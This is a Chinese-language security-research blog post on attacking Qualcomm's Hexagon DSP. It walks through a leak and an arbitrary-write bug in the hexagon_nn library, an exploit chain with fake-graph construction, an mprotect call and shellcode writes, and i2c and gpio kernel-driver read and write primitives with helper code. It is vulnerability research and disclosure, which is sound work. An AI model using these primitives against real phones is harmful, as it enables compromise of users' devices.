攻击DSP:揭开高通Hexagon的神秘面纱

作者: 360漏洞研究院 姚俊(2freeman) 分类: 安全研究 发布时间: 2023-01-04 09:08

概述

Hexagon是高通研发的数字信号处理器(DSP,Digital Signal Processor) 。目前市面上基于高通平台的手机都会使用该芯片,它主要用来进行音视频处理、AI计算以及信号调制解调。虽然它只是一枚协处理器,但它运行了一套完整的系统,这套系统包括:supervisor、内核(kernel)和应用。在此之前,已经有研究人员对Hexagon安全进行了相关研究(这里只列出了我认为有价值的资料):

  1. Attacking Hexagon: Security Analysis of Qualcomm’s aDSP简单介绍了Hexagon架构、如何与AP进行通信、攻击面分析以及盲测DSP应用;
  2. Pwn2Own Qualcomm DSP介绍了通过QEMU模拟的方式Fuzz DSP、内核攻击面、发现的漏洞(降级攻击、数据序列化、应用和内核);
  3. In-Depth Analyzing and Fuzzing for Qualcomm Hexagon Processor 介绍了一种基于路径覆盖的Fuzz方法

基于以上资料,我进行了独立的Hexagon安全研究。由于Hexagon代码闭源、有独立的指令架构、仅少量的官方资料,研究起来有一定的难度。我希望这篇博客能够帮助研究人员进一步了解Hexagon。具体来说,这篇博客的主要贡献如下:

  1. 公开我实现的利用方法,据我所知,已有议题只是介绍发现的漏洞,从未公开利用方法;
  2. 一种新的Fuzz方法,它可以在(某个)真机上动态测试应用、内核和虚拟机;

背景知识介绍

目前常见的是第六代Hexagon芯片(V6x),它有三个PD(Protection Domains):supervisor、Guest OS和User。supervisor拥有最高权限。supervisor有一个开源实现hexagonMVM,我认为它有一定的参考性,但由于代码年久失修,它可能无法反映近几年硬件情况。我其实更愿意称Guest OS为kernel,这样也许更容易理解(不一定对)。高通实现了名为QuRT的内核,但它并未开源。Linux内核同样支持Hexagon架构,你可以在arch/hexagon下找到相关代码。应用通常在User mode下运行,它的权限最低。

高通提供了相关的SDK方便开发者开发应用。这个SDK非常强大,除了提供代码编译环境,它还提供了模拟运行环境,你可以在这个环境中测试应用。需要注意的是:厂商对手机进行了限制,没有厂商签名的应用只能使用有限的API,甚至无法在手机上运行。

V67版本的Hexagon有32个通用寄存器,系统寄存器个数未知。你可以在SDK的模拟环境中(hexagon-sim)打印出所有系统寄存器,但它能否反映硬件真实情况不得而知。我没有找到系统寄存器相关资料,所有这些寄存器的含义同样是一个迷。Hexagon有自己的指令集,它支持 very long instruction word(VLIW)packet。编译器可以将1至4条指令组成VLIW,位于VLIW中的指令可以并行执行(更多信息可以参阅Qualcomm ® Hexagon™ V67 Programmer’s Reference Manual)。以下是一个VLIW例子:

LOAD:C014739C                 { r2 = ##0x51FFFE
LOAD:C01473A4                   r4 = r16
LOAD:C01473A8                   memw(r16 + #4) = r2.new }

r2寄存器被赋值为0x51FFFE,r16寄存器的值赋给r4,将r2寄存器的值0x51FFFE写入内存。你可以使用SDK中hexagon-llvm-objdump工具反编译二进制文件,从而获取相关指令,也可以通过IDA插件idp_hexagon反编译二进制文件。目前IDA插件并不能将指令翻译为伪代码,因此只能通过阅读汇编指令来了解程序行为。

应用漏洞挖掘

DSP应用位于手机以下目录:

  1. /vendor/dsp/adsp:包含在ADSP(audio)中运行的shell及应用;
  2. /vendor/dsp/cdsp:包含在CDSP(compute)中运行的shell及应用;
  3. /vendor/lib/rfsa/adsp/:其他应用;

具体的应用以so的形式存在,它们不能单独运行。当应用加载时,首先需要加载shell程序,它是一个通用的程序框架。在ADSP中,它的名字是fastrpc_shell_0,而在CDSP中,有两个不同的shell:fastrpc_shell_3和fastrpc_shell_unsigned_3。前者用于运行有厂商签名的应用,后者用于运行没有签名的应用。正如前文提到的,没有签名的应用可用的API非常有限。这些应用都是潜在的攻击对象。

除此之外,SDK提供了一些开源库,比如用于神经网络的hexagon_nn库。源码分析要比阅读汇编指令轻松的多,因此我优先选择分析这些开源库。

hexagon_nn是高通开发的将神经网络加载到Hexagon的框架。我在这个库中发现了多个漏洞,并实现了shellcode执行。由于厂商使用了相同签名,因此有问题的库可以运行在不同品牌的手机上,同时,由于存在降级攻击,即便是最新版本的手机也可能被攻击。

信息泄露

hexagon_nn库提供了一个非常有趣的API:

src/interface.c

218 int hexagon_nn_get_dsp_offset(uint32_t *libhexagon_addr, uint32_t *fastrpc_shell_addr)
219 {
220 
223  *fastrpc_shell_addr = (uint32_t)&qurt_sem_add;
224  *libhexagon_addr    = (uint32_t)&hexagon_nn_get_dsp_offset;
230 }

这个API返回shell和hexagon_nn中两个变量的地址。通过静态分析,我可以确认上述两个变量分别在shell和hexagon_nn中的偏移,从而可以计算出shell和hexagon_nn的加载地址。

同时,厂商在编译hexagon_nn库时开启了调试功能,我可以获得动态分配的对象的地址。首先通过hexagon_nn_domains_set_debug_level() 设置graph的debug级别:

src/interface.c

335 int hexagon_nn_set_debug_level(nn_id_t id, int level) 
336 {
337  struct nn_graph *graph;
338  if ((graph = nn_id_to_graph(id)) == NULL) return -1;
339  if (level < 0) level = 0;
340  graph->debug_level = level;
341  return 0;
342 }

之后,我可以通过hexagon_nn_domains_snpprint() 来获得graph信息:

src/interface.c

hexagon_nn_domains_snpprint()
|
|-> hexagon_nn_snpprint()
 |
 |-> do_snpprint()
 
48 void do_snpprint(struct nn_graph *nn, char *buf, uint32_t n)
49 {
57   PRINTF_APPEND(buf,n,len,"nn @ %p: id=0x%lx debug_level=%d\n",nn,nn->id,nn->debug_level);
58   for (node = nn->head; node != NULL; node = node->next) {
61   PRINTF_APPEND(buf,n,len,"node @ %p: id=0x%x type=0x%x(%s) n_inputs=%d n_outputs=%d padding=%x(%s)\n",  // 泄露node地址信息
62        node,
63        (unsigned int)node->node_id, 
64        (unsigned int)node->node_type, 
65        opname,
66        (unsigned int)node->n_inputs, 
67        (unsigned int)node->n_outputs,
68        node->padding,
69        padname);
70    if (nn->debug_level > 0) for (i = 0; i < node->n_inputs; i++) {
71     PRINTF_APPEND(buf,n,len,"... input %d @ %p <src_id %x out_idx %d>\n",         // 泄露input地址信息
72         i,
73         node->inputs[i],
74         (unsigned int)node->input_refs[i].src_id,
75         (unsigned int)node->input_refs[i].output_idx);
76    }
77    if (nn->debug_level > 0) for (i = 0; i < node->n_outputs; i++) {
78     PRINTF_APPEND(buf,n,len,"... output %d @ %p\n", i,node->outputs[i]);         // 泄露output地址信息
79    }
84 }

任意写

hexagon_nn支持创建不同类型的node,我可以通过hexagon_nn_domains_append_empty_const_node()创建const类型的node:

src/interface.c

hexagon_nn_domains_append_empty_const_node(data_len)
|
|-> hexagon_nn_append_empty_const_node(data_len)
 |
 |-> do_append_empty_const_node(data_len)
  |
  |-> hexagon_nn_empty_const_ctor(data_len)
   |
   |-> const_tensor = tensor_alloc(data_len)
   | |
   | | if (data_size) {
   | | } else {
   | |  newtensor->data = NULL;
   | | }
   | | newtensor->max_size = newtensor->data_size = data_size;
   | | newtensor->self = newtensor;
   |
   | self->n_outputs = 1;
   | self->outputs = &const_tensor->self

如果传入的data_len是0,那么新创建的tensor->data为NULL。这个tensor最终会赋值到node的outputs。我可以通过上述漏洞泄露outputs内容,因此,我可以知道tensor的地址。之后,我可以通过hexagon_nn_populate_const_node() API进行任意写:

hexagon_nn_populate_const_node(data, data_len, target_offset)
|
|-> do_populate_const_node(data, data_len, target_offset)
 |
 |-> hexagon_nn_populate_const(data, data_len, target_offset)
  |
  | start = (uint8_t *) node->outputs[0]->data + target_offset;
  | memcpy(start, data, data_len);

hexagon_nn_populate_const_node()并没有检查tensor->data_size,而是直接根据用户传入的offset进行拷贝,从而导致无条件的write-what-where漏洞。

漏洞利用

尽管《Pwn2Own Qualcomm DSP》演示了如何在Pixel手机上攻击DSP,但相关的利用细节并未公开。

要实现任意代码执行,我需要一块具备可写可执行属性的内存区域。从hexagon-readelf的结果来看,没有这样的内存区域。因此,我需要调用mprotect()来改变现有的内存区域属性。QuRT扩展了标准API,它实现了以下函数:

libs/common/qurt/computev65/include/qurt/qurt_mmap.h

int qurt_mem_mprotect(const void *addr, size_t length, int prot);

#define QURT_PROT_NONE                  0x00
#define QURT_PROT_READ                  0x01
#define QURT_PROT_WRITE                 0x02
#define QURT_PROT_EXEC                  0x04

为了调用qurt_mem_mprotect(),我需要劫持一个函数指针,这个函数指针需要至少3个参数,且前三个参数可以控制。我选取的是nn_option_descriptor结构体:

include/nn_graph_options.h

148 struct nn_option_descriptor {
149  char const  *name;
150  int typecode;
151  option_setter_fp setter_func;
152  int settercode; 
153  int defval;
154 };

它的功能是描述一个配置选项,比如选项的名字(name字段),配置选项的处理函数(setter_func)等。其中setter_func的定义如下:

typedef int (*option_setter_fp)( struct nn_graph * nn, int code, int value );

当要设置一个类型为int的选项时,hexagon_nn会调用nn_option_set_int():

src/graph_options.c

hexagon_nn_set_graph_option()
|
|-> nn_option_set_int()

53 int nn_option_set_int(  struct nn_graph * nn, char const *name, int value )
54 {
55   struct nn_option_descriptor const * descp = OptionDescTable;
81   while( descp->name != 0 ){
82    if( strcmp(descp->name,name)==0){
83     logmsg(nn,3,"set %s = %d", name, value);
84     return (descp->setter_func)( nn, descp->settercode, value);
85    }
86    ++descp;
87   }
89 }

OptionDescTable是全局变量,我可以修改descp->setter_func和descp->settercode。同时,我也可以控制value参数。现在唯一的问题是如何控制nn。nn表示一个graph,正常情况下,graph是动态分配的,它的地址不可控。而mprotect()第一个参数是内存地址,因此,我需要在目标内存位置构建一个假的graph。

通过hexagon_readelf工具可以读取hexagon_nn_skel.so各个段信息:

hexagon-readelf -a libhexagon_nn_skel.so

DynamicSection [
 0x00000003 PLTGOT               0x113fd8
]

Program Headers:
 Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
 NULL           0x000000 0x00000000 0x00000000 0x000f4 0x00000     OS[0x70] 0x0
 NULL           0x001000 0x00113000 0x00113000 0x019e8 0x02000     OS[0x22] 0x1000
 LOAD           0x003000 0x00000000 0x00000000 0x110044 0x110044 R E 0x1000
 LOAD           0x114000 0x00111000 0x00111000 0x08770 0x08771 RW  0x1000
 DYNAMIC        0x115d4c 0x00112d4c 0x00112d4c 0x000b0 0x000b0 RW  0x4
 GNU_RELRO      0x114000 0x00111000 0x00111000 0x01fd4 0x01fd4 RW  0x8

我选取0x113000的位置存放shellcode,所以需要在这里构造一个假的graph。先使用读原语读取0x113000处的数据,目的是尽可能较少地修改数据来构造假的graph:

hexagon_nn_read(handle, fake_graph, &graph, sizeof(graph));
graph.id = idx;
graph.debug_level = 0;
graph.next_graph = 0;
hexagon_nn_write(handle, fake_graph, &graph, sizeof(graph));

设置graph的id以便后续可以找到它;使debug_level为0,防止意外读取其他数据,导致崩溃;设置next_graph为NULL来避免读取垃圾数据。最后将graph注册到graph_table中:

value = fake_graph;
hexagon_nn_write(handle, graph_table + idx * 4, &value, sizeof(value));

这样,hexagon_nn可以通过nn_id_to_graph()找到我构造的graph:

nn_id_to_graph()
|
|-> find_graph_inner()

126 struct nn_graph * find_graph_inner(nn_id_t grid, struct graph_hashtable_entry **entryp )
127 {
129  struct graph_hashtable_entry * tabp = &graph_table[ find_hash(grid)];
135  struct nn_graph *grp = tabp->graph_list;
141  return grp;
159 }

现在我可以通过调用hexagon_nn_set_graph_option() API来调用qurt_mem_mprotect():

prot = QURT_PROT_READ | QURT_PROT_WRITE | QURT_PROT_EXEC;
ret = hexagon_nn_set_graph_option(handle, FAKE_GRAPH_ID, MAGIC_OPTION, prot);

当内存属性改变后,我可以向其中写入shellcode:

value = 0xa09dc000; // allocframe(#0)
hexagon_nn_write(handle, shellcode, &value, sizeof(value));
value = 0x7800c000; // r0 = #0
hexagon_nn_write(handle, shellcode+4, &value, sizeof(value));
value = 0x961ec01e; // dealloc_return
hexagon_nn_write(handle, shellcode+8, &value, sizeof(value));

接着修改setter_func指针,使其指向shellcode,触发shellcode。如何确认shellcode是否真的执行了?一种方法是通过logcat查看日志:

adb logcat -s adsprpc

我故意写入一些非法指令:

value = 0xa09dc000; // allocframe(#0)
hexagon_nn_write(handle, shellcode, &value, sizeof(value));
value = 0xaaaaaaaa; // crash
hexagon_nn_write(handle, shellcode+4, &value, sizeof(value));
value = 0x961ec01e; // dealloc_return
hexagon_nn_write(handle, shellcode+8, &value, sizeof(value));

如果shellcode得到执行,logcat会显示以下日志:

############################### Process on aDSP CRASHED!!!!!!! ########################################
--------------------- Crash Details are furnished below ------------------------------------
process "/frpc/f0559f80 test" crashed in thread "/frpc/f0559f80 " due to TLBMISS RW occurrence
Crashed Shared Object fastrpc_shell_0 load address : 0x17400000 
fastrpc_shell_0 load address : 17400000  and size : E19B4 
Fault PC   :    0x616104 
LR         :    0x1747D840 
SP         :    0x4B988A60 
Bad va     :    0xFFFFF000 
FP         :    0x4B988A60 
SSR        :    0x21F70871 
Call trace: 
[<1747D840>] mod_table_invoke+0x23C:     (fastrpc_shell_0) 
[<1747D840>] mod_table_invoke+0x23C:     (fastrpc_shell_0) 
[<1749C6B4>] fastrpc_invoke_dispatch+0x154:     (fastrpc_shell_0) 
[<17477874>] HAP_proc_adaptive_qos+0x3C8:     (fastrpc_shell_0) 
[<17479610>] _pl_fastrpc_uprocess+0x7D0:     (fastrpc_shell_0) 
----------------------------- End of Crash Report ------------

从日志中我们可以看到PC指向0x616104,与我们存放shellcode的位置相符(有地址随机化)。从而证明shellcode得到执行。

内核漏洞挖掘

我从《Pwn2Own Qualcomm DSP》得知驱动是一个潜在的攻击面。分析驱动的前提是知道驱动的处理函数入口。一种方法是通过字符串搜索,比如搜索“/dev”查看可能的设备名字:

LOAD:B064F753 00000009 C /dev/i2c
LOAD:B0655ED2 00000009 C /dev/dog
LOAD:B06564D5 00000010 C /dev/err_qdi_pd
LOAD:B0657F00 0000000F C /dev/servnotif
LOAD:B0658324 00000015 C /dev/qdss_stm_mapQDI
LOAD:B065C1AB 00000010 C /dev/ipc_router
LOAD:B065C3FC 0000000A C /dev/smem
LOAD:B065C46F 0000000B C /dev/smp2p
LOAD:B065D2B4 0000000A C /dev/null
LOAD:B065DF4F 00000009 C /dev/npa
LOAD:B065E790 0000000A C /dev/diag
LOAD:B066079A 0000000C C /dev/timers
LOAD:B0660880 0000000D C /dev/utimers
LOAD:B06665E4 00000010 C /dev/GPIOIntQdi
LOAD:B06738D5 00000012 C /dev/fastrpc_kmem
LOAD:F0188028 0000000D C /dev/urandom
LOAD:F018AE95 00000009 C /dev/sem

这种方式只能找到部分驱动。还有一种方式是通过qurt_qdi_obj_t结构体来寻找。qurt_qdi_obj_t结构体定义如下:

libs/common/qurt/computev65/include/qurt/qurt_qdi_driver.h

 99 typedef struct qdiobj {
100    qurt_qdi_pfn_invoke_t invoke;
101    int refcnt;
102    qurt_qdi_pfn_release_t release;
103 } qurt_qdi_obj_t;

其中invoke是驱动处理函数,refcnt表示引用计数。refcnt的值非常有意思:

libs/common/qurt/computev65/include/qurt/qurt_qdi_constants.h

256 #define QDI_REFCNT_BASE   0x510000
257 #define QDI_REFCNT_MAXED  0x51FFFD
258 #define QDI_REFCNT_INIT   0x51FFFE
259 #define QDI_REFCNT_PERM   0x51FFFF

初始情况下,它的值为QDI_REFCNT_INIT,即0x51FFFE。通过搜索这个特定值,我能找到更多的驱动入口函数。在分析这些处理函数之前,需要确认函数参数。从qurt_qdi_pfn_invoke_t的定义发现,这些处理函数的参数如下:

#define QDI_INVOKE_ARGS \
  int, struct qdiobj *, int, \
  qurt_qdi_arg_t, qurt_qdi_arg_t, qurt_qdi_arg_t, \
  qurt_qdi_arg_t, qurt_qdi_arg_t, qurt_qdi_arg_t, \
  qurt_qdi_arg_t, qurt_qdi_arg_t, qurt_qdi_arg_t

从qurt_qdi_driver.h头文件中的注释可以得知参数布局:

 第一个参数:handle (R0寄存器)
 第二个参数:设备对应的opener(R1寄存器)
 第三个参数:方法(R2寄存器)
 第四个参数:方法第一个参数(R3寄存器)
 第五个参数:方法第二个参数(R4寄存器)
 第六个参数:方法第三个参数(R5寄存器)
 第七个参数:方法第四个参数(SP + 0)
 第八个参数:方法第五个参数(SP + 4)
 第九个参数:方法第六个参数(SP + 8)
 第十个参数:方法第七个参数(SP + 12)
 第十一个参数:方法第八个参数(SP + 16)
 第十二个参数:方法第九个参数(SP + 20)

现在可以开始分析驱动了。

i2c驱动任意地址读漏洞

我在i2c驱动中找到多个漏洞,比较好的漏洞包括任意地址写0和任意地址读。这里仅介绍任意地址读漏洞。dev_i2c_invoke()首先查看method,并将相关参数保存到各个寄存器中:

LOAD:F004BFE4                 { call save_r16_r21
LOAD:F004BFE8                   p0 = cmp.eq(r1, #0)
LOAD:F004BFE8                   allocframe(#0x30) }
LOAD:F004BFEC                 { r17:16 = combine(r4, r3)   // r16 = 参数1, r17 = 参数2
LOAD:F004BFF0                   if (!p0) r20 = add(r1, ##0x118)
LOAD:F004BFF8                   if (p0) jump loc_F004C06C }
LOAD:F004BFFC                 { r15:14 = bitsplit(r2, #8)   // r2保存要调用的method号,r15保存method号的高24位,r14保存低8位
LOAD:F004C000                   r19 = add(r1, #0xF8)
LOAD:F004C004                   r8 = memw(sp + #0x30+arg_C)
LOAD:F004C008                   r4 = memw(sp + #0x30+arg_4) }
LOAD:F004C00C                 { p0 = cmp.eq(r15, #1)    // method号第8位是否为1
LOAD:F004C010                   r12 = memw(sp + #0x30+arg_10)
LOAD:F004C014                   r9 = memw(sp + #0x30+arg_8) }
LOAD:F004C018                 { if (p0) jump dev_i2c_methods

如果方法为0x1XX,跳转到dev_i2c_methods():

LOAD:F004C074                 { p0 = cmp.gtu(r14, #0x13)
LOAD:F004C078                   if (p0.new) jump:nt loc_F004C03C }
LOAD:F004C07C                 { r13 = memw(r14<<#2 + ##0xF019CBCC) } // 根据method号低8位确定处理函数
LOAD:F004C084                 { jumpr r13
LOAD:F004C088                   r3 = ##sub_F004D000
LOAD:F004C088                   r7 = #0 }

dev_i2c_method_0x109()存在任意地址读问题,分析如下:

LOAD:F004C1AC                 { call sub_F004D0F8
LOAD:F004C1B0                   r0 = r16 }       // r0保存参数1

LOAD:F004D0F8                 { p0 = cmp.eq(r0, #0)
LOAD:F004D0F8                   if (p0.new) jump:nt loc_F004D108 // 参数1如果为0,立即返回
LOAD:F004D0FC                   memd(sp + #-8+var_8) = r17:16
LOAD:F004D0FC                   allocframe(#8) }
LOAD:F004D100                 { jump loc_F004D118
LOAD:F004D104                   r16 = memw(r0 + #0x2C) }   // 从参数1+0x2c处读取4字节到r16

LOAD:F004D118                 { r0 = r16       // r0保存读取的数据
LOAD:F004D11C                   r17:16 = memd(sp + #-8+arg_0)
LOAD:F004D11C                   dealloc_return }

这个函数直接从r0 + #0x2C偏移处读取数据,然后返回给应用。

gpio驱动任意地址写漏洞

drv_gpio_invoke()函数逻辑如下:

LOAD:F00F2C50                 { call save_r16_r23
LOAD:F00F2C54                   allocframe(#0x48) }
LOAD:F00F2C58                 { r17:16 = combine(r4, r5)   // r17 = 参数2, r16 = 参数3
LOAD:F00F2C5C                   r19:18 = combine(r2, r3)   // r19 = idx = 0x4FX, r18 = 参数1
LOAD:F00F2C60                   r27 = memw(sp + #0x48+arg_14)
LOAD:F00F2C64                   r23 = memw(sp + #0x48+arg_C) }
LOAD:F00F2C68                 { r21:20 = combine(r0, r1)
LOAD:F00F2C6C                   r26 = memw(sp + #0x48+arg_4)
LOAD:F00F2C70                   r25 = memw(sp + #0x48+arg_10) }
LOAD:F00F2C74                 { call sub_F0127090     // 调用sub_F0127090
LOAD:F00F2C78                   r22 = memw(sp + #0x48+arg_8)
LOAD:F00F2C7C                   r24 = memw(sp + #0x48+arg_0) }
LOAD:F00F2C80                 { r5:4 = combine(r16, r17)   // r5 = r16 = 参数3, r4 = r17 = 参数2
LOAD:F00F2C84                   r3:2 = combine(r18, r19)   // r3 = r18 = 参数1, r2 = r19 = idx
LOAD:F00F2C88                   p0 = cmp.eq(r0, #0)
LOAD:F00F2C88                   if (p0.new) jump:nt loc_F00F2CAC } // 假设返回值不为0
LOAD:F00F2C8C                 { r1:0 = combine(r20, r21)
LOAD:F00F2C90                   memw(sp + #0x48+var_34) = r27
LOAD:F00F2C94                   memw(sp + #0x48+var_38) = r25 }
LOAD:F00F2C98                 { memw(sp + #0x48+var_3C) = r23
LOAD:F00F2C98                   memw(sp + #0x48+var_40) = r22 }
LOAD:F00F2C9C                 { memw(sp + #0x48+var_44) = r26
LOAD:F00F2CA0                   memw(sp + #0x48+var_48) = r24 }
LOAD:F00F2CA4                 { call sub_F00F2D08 }     // 调用sub_F00F2D08
LOAD:F00F2CA8                 { jump loc_F015E020 }

如果sub_F0127090()的返回值不为0(经过测试,sub_F0127090()返回值不为0),那么函数最终会调用sub_F00F2D08():

LOAD:F00F2D08                 { r11:10 = bitsplit(r2, #8)   // r2 = idx = 0x4FX
LOAD:F00F2D0C                   r7:6 = combine(r0, r3)    // r6 = r3 = 参数1
LOAD:F00F2D10                   allocframe(#0x18) }
LOAD:F00F2D14                 { p0 = cmp.eq(r11, #4)
LOAD:F00F2D18                   if (!p0.new) r0 = #1
LOAD:F00F2D1C                   r12 = memw(sp + #0x18+arg_14)
LOAD:F00F2D20                   r13 = memw(sp + #0x18+arg_C) }
LOAD:F00F2D24                 { r14 = memw(sp + #0x18+arg_4)
LOAD:F00F2D28                   r9 = memw(sp + #0x18+arg_10) }
LOAD:F00F2D2C                 { if (p0) jump loc_F00F2D54   // 调用loc_F00F2D54
LOAD:F00F2D30                   r3 = memw(sp + #0x18+arg_8)
LOAD:F00F2D34                   r8 = memw(sp + #0x18+arg_0) }

LOAD:F00F2D54                 { r15 = add(r10, #-0xF4)    // 减去0xF4
LOAD:F00F2D58                   if (cmp.gtu(r15.new, #9)) jump:nt drv_gpio_method_1 }
LOAD:F00F2D5C                 { r15 = memw(r15<<#2 + ##0xF01D6CA4) }
LOAD:F00F2D64                 { jumpr r15 }

它根据用户传入的method的idx调用相关函数。需要注意的是:method低8位需要减去0xF4。drv_gpio_method_0()存在任意地址写问题,分析如下:

LOAD:F00F2D68 drv_gpio_method_0:         // 0x4F4
LOAD:F00F2D68                 { call sub_F00F2984
LOAD:F00F2D6C                   r1:0 = combine(r4, r6) }   // r0 = r6 = 参数1, r1 = r4 = 参数2 
LOAD:F00F2D70                 { jump loc_F00F2DF8 }

LOAD:F00F2984                 { p0 = cmp.eq(r1, #0)
LOAD:F00F2988                   r2 = r0        // r2 = r0 = 参数1
LOAD:F00F298C                   if (!p0.new) memw(r1) = r2.new } // memw(参数2) = 参数1
LOAD:F00F2990                 { r0 = mux(p0, #-1, #0)
LOAD:F00F2994                   jumpr lr }

这个函数最终将参数1的值写入参数2指向的内存中。

内核漏洞利用

现在我已经找到读写原语,我需要搭建起从AP到Hexagon内核攻击的桥梁。具体来说,我需要在hexagon_nn应用中编写shellcode,它可以将AP发来的请求转发给上述读写原语,从而实现在AP侧直接读写Hexagon内核。

首先,我复刻了SDK中已有的hexagon_nn项目,在项目中编写了读写原语相关函数:

 23 int mqdi_i2c_read(uint32_t addr, uint32_t *value)
 24 {
 25     uint32_t ret;
 26     uint32_t handle;
 27     char device[9] = {'/', 'd', 'e', 'v', '/', 'i', '2', 'c', '\0'};
 28 
 29     handle = qurt_qdi_open(device);
 30     ret = qurt_qdi_handle_invoke(handle, 0x109, addr - 0x2c, 0, 0, 0, 0, 0, 0, 0, 0);
 31     qurt_qdi_close(handle);
 32     *value = ret;
 33     return 0;
 34 }

 36 int mqdi_gpio_write(uint32_t addr, uint32_t value)
 37 {
 38     uint32_t ret;
 39     uint32_t handle;
 40     char device[10] = {'/', 'd', 'r', 'v', '/', 'g', 'p', 'i', 'o', '\0'};
 41 
 42     handle = qurt_qdi_open(device);
 43     ret = qurt_qdi_handle_invoke(handle, 0x4f4, value, addr,
 44                              0, 0, 0, 0, 0, 0, 0);
 45     qurt_qdi_close(handle);
 46     return 0;
 47 }

编译上述函数后,我可以获得相关的shellcode指令。需要注意的是这两个函数使用了shell程序中提供的API,我们需要在运行时进行链接,以便它们能够正确地调用API。我手动编写了跳转表,以便能够调用目标函数:

137 uint32_t mqdi_i2c_read[59] = {
161     0x5a00c036, // 0xe6b1615c { call sub_e6b161c8 } => qurt_qdi_open()
177     0x5a00c01c, // 0xe6b1619c { call sub_e6b161d4 } => qurt_qdi_handle_invoke()
180     0x5a00c01c, // 0xe6b161a8 { call sub_e6b161e0 } => qurt_qdi_close()
188     0x00054ad2, // 0xe6b161c8
189     0x7800c19c, // 0xe6b161cc { r28 = qurt_qdi_qhi6 0x52b48c } 跳转到qurt_qdi_open()
190     0x529CC000, // 0xe6b161d0 { jumpr r28 }
191     0x00054ad2, // 0xe6b161d4
192     0x7800c01c, // 0xe6b161d8 { r28 = qurt_qdi_qhi12 0x52b480 } 跳转到qurt_qdi_handle_invoke()
193     0x529CC000, // 0xe6b161dc { jumpr r28 }
194     0x00054ad1, // 0xe6b161e0
195     0x7800c01c, // 0xe6b161e4 { r28 = qurt_qdi_close 0x52b440 } 跳转到qurt_qdi_close()
196     0x529CC000, // 0xe6b161e8 { jumpr r28 }
197 };

有了内核读写原语之后,我可以轻易地劫持函数指针。但这并不是我想要的,我的想法是能否借助Hexagon攻击AP内核?例如能否将内存映射到Hexagon中,通过Hexagon来攻击Android内核?之所以有这样的想法,原因在于Hexagon芯片很高级:它有自己的MMU。虽然这种想法最终没有实现,但我还是想分享一下研究过程。

要实现这种攻击,我需要完成两件事情:一是需要了解Hexagon的页表格式;二是识别出页表寄存器。《Hexagon Virtual Machine Specification》中描述了页表相关格式。Hexagon的MMU支持两种不同的页表。第一种是Translation List项:

低位:| 0 0 1 1 | 0 1 1 1 | 0 0 0 0 | 0 0 0 0 | 1 1 0 0 | 0 1 1 0 | 1 0 1 1 |
     | X W R U |    C    |    -    |            Logical Page               |
     
高位:| 1 1 0 0 | 0 0 0 0 | 0 0 0 0 | 1 1 1 0 | 0 0 0 0 | 1 0 1 0 | 0 0 1 1 | 0 1 0 1 |
     | L|   reserved     | Size |              Virtual Page                          |

各个标志位含义:

X:可执行  
W:可写
R:可读
U:用户可访问
C:Cache策略
L:Link bit. 置位后当前项指向下一级Transation List,31:0位表示下一级地址,其他位忽略

页大小信息:

b000:4KB
b001:16KB
b010:64KB
b011:256KB
b100:1MB
b101:4MB
b110:16MB

实际上adsp.elf有一个段全部是Translation List项。使用hexagon-readelf读取的adsp.elf信息如下:

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  NULL           0x000000 0x00000000 0x00000000 0x00214 0x00000     OS[0x70] 0x0
  NULL           0x001000 0x8dc00000 0x8dc00000 0x01c78 0x02000     OS[0x22] 0x1000
  LOAD           0x003000 0xf0000000 0x8be00000 0x0221c 0x03000 R E OS[0x80] 0x100000
  LOAD           0x006000 0xf0003000 0x8be03000 0x33128 0x34000 RWE OS[0x80] 0x1000
  LOAD           0x03a000 0xf0037000 0x8be37000 0x1b96a8 0x1ba000 R E OS[0x80] 0x1000
  LOAD           0x1f4000 0xf01f1000 0x8bff1000 0xdae24 0x437000 RW  OS[0x80] 0x1000
  LOAD           0x2cf000 0xf0628000 0x8c428000 0x00b80 0x01000 RW  OS[0x80] 0x1000
  LOAD           0x2d0000 0xf0629000 0x8c429000 0x0b478 0x0c000 R   OS[0x80] 0x1000
  LOAD           0x2dc000 0xe0a35000 0x8c435000 0xa9ce8 0xa9ce8 R   OS[0x80] 0x1000
  LOAD           0x386000 0xe65c5000 0x8c4df000 0x00084 0x00084 R   OS[0x80] 0x1000   // Translation List
  LOAD           0x387000 0xb0000000 0x8c500000 0x794b88 0x795000 R E OS[0x80] 0x1000
  LOAD           0xb1c000 0xb0795000 0x8cc95000 0xa9c20 0xb06000 RW  OS[0x80] 0x1000
  LOAD           0xbc6000 0xb129b000 0x8d79b000 0x01058 0x02000 RW  OS[0x80] 0x1000
  LOAD           0xbc8000 0xb129d000 0x8d79d000 0x6ea44 0x6f000 R   OS[0x80] 0x1000 
  LOAD           0xc37000 0xb130c000 0x8d80c000 0x00000 0x3f4000 R   OS[0x80] 0x1000

顺便提下:adsp中包含了supervisor和QuRT两部分代码,前者位于0xf0000000,后者位于0xb0000000。按照上述格式解析0xe65c5000段中的数据:

Transation List项:
 E65C5000: 0x37000C6B
 E65C5004:   0xC00E0A35

获得虚拟地址是:
 | 1 1 1 0 | 0 0 0 0 | 1 0 1 0 | 0 0 1 1 | 0 1 0 1 | 0 0 0 0 | 0 0 0 0 | 0 0 0 0 |
即:
 0xe0a35000:只读,且用户可读

第二种是普通的页表。HVM 定义了两级虚拟页表:第一级将虚拟地址空间分解为 1020 个 4MB 段,每个段由页表条目(PTE)表示。

一级 PTE 始终包含映射的虚拟内存页面的大小: (1) 对于 4MB 或更大的页面,第一级条目包含翻译和页面的权限信息。 (2) 对于小于 4MB 的页面,第一级条目包含指向二级页表的指针。

一级 PTE 的低三位对条目类型和页面大小进行编码,其余位的定义因条目类型而异:

| 31                          4 | 3 2 1 0 |
|                               |   |  s  |

以下是s位在不同值下对应的条目格式:

S value  | Entry Type    | Page Size | L2 Entries | Address Bits
000       Page Directory  4KB         1024         31:12
001       Page Directory  16KB        256          31:10
010       Page Directory  64KB        64           31:8
011       Page Directory  256KB       16           31:6
100       Page Directory  1MB         4            31:4
101       Page Table      4MB         N/A          N/A
110       Page Table      16MB        N/A          N/A
111       Invalid         Invalid     N/A          N/A

对于页大小是4MB和16MB的页表,只有一级页表。此时,它是page table(而不是page directory)。其中的页表项格式如下:

4M页表项:

| 31             22 | 21         12 | 11 | 10 | 9 | 8   6 | 5 | 4 | 3 | 2   0 |
|    Logical Page   |       -       | X  | W  | R |   C   | U | T | - |   5   |

16M页表项:

| 31             24 | 23         12 | 11 | 10 | 9 | 8   6 | 5 | 4 | 3 | 2   0 |
|    Logical Page   |       -       | X  | W  | R |   C   | U | T | - |   6   |

其他页表项:

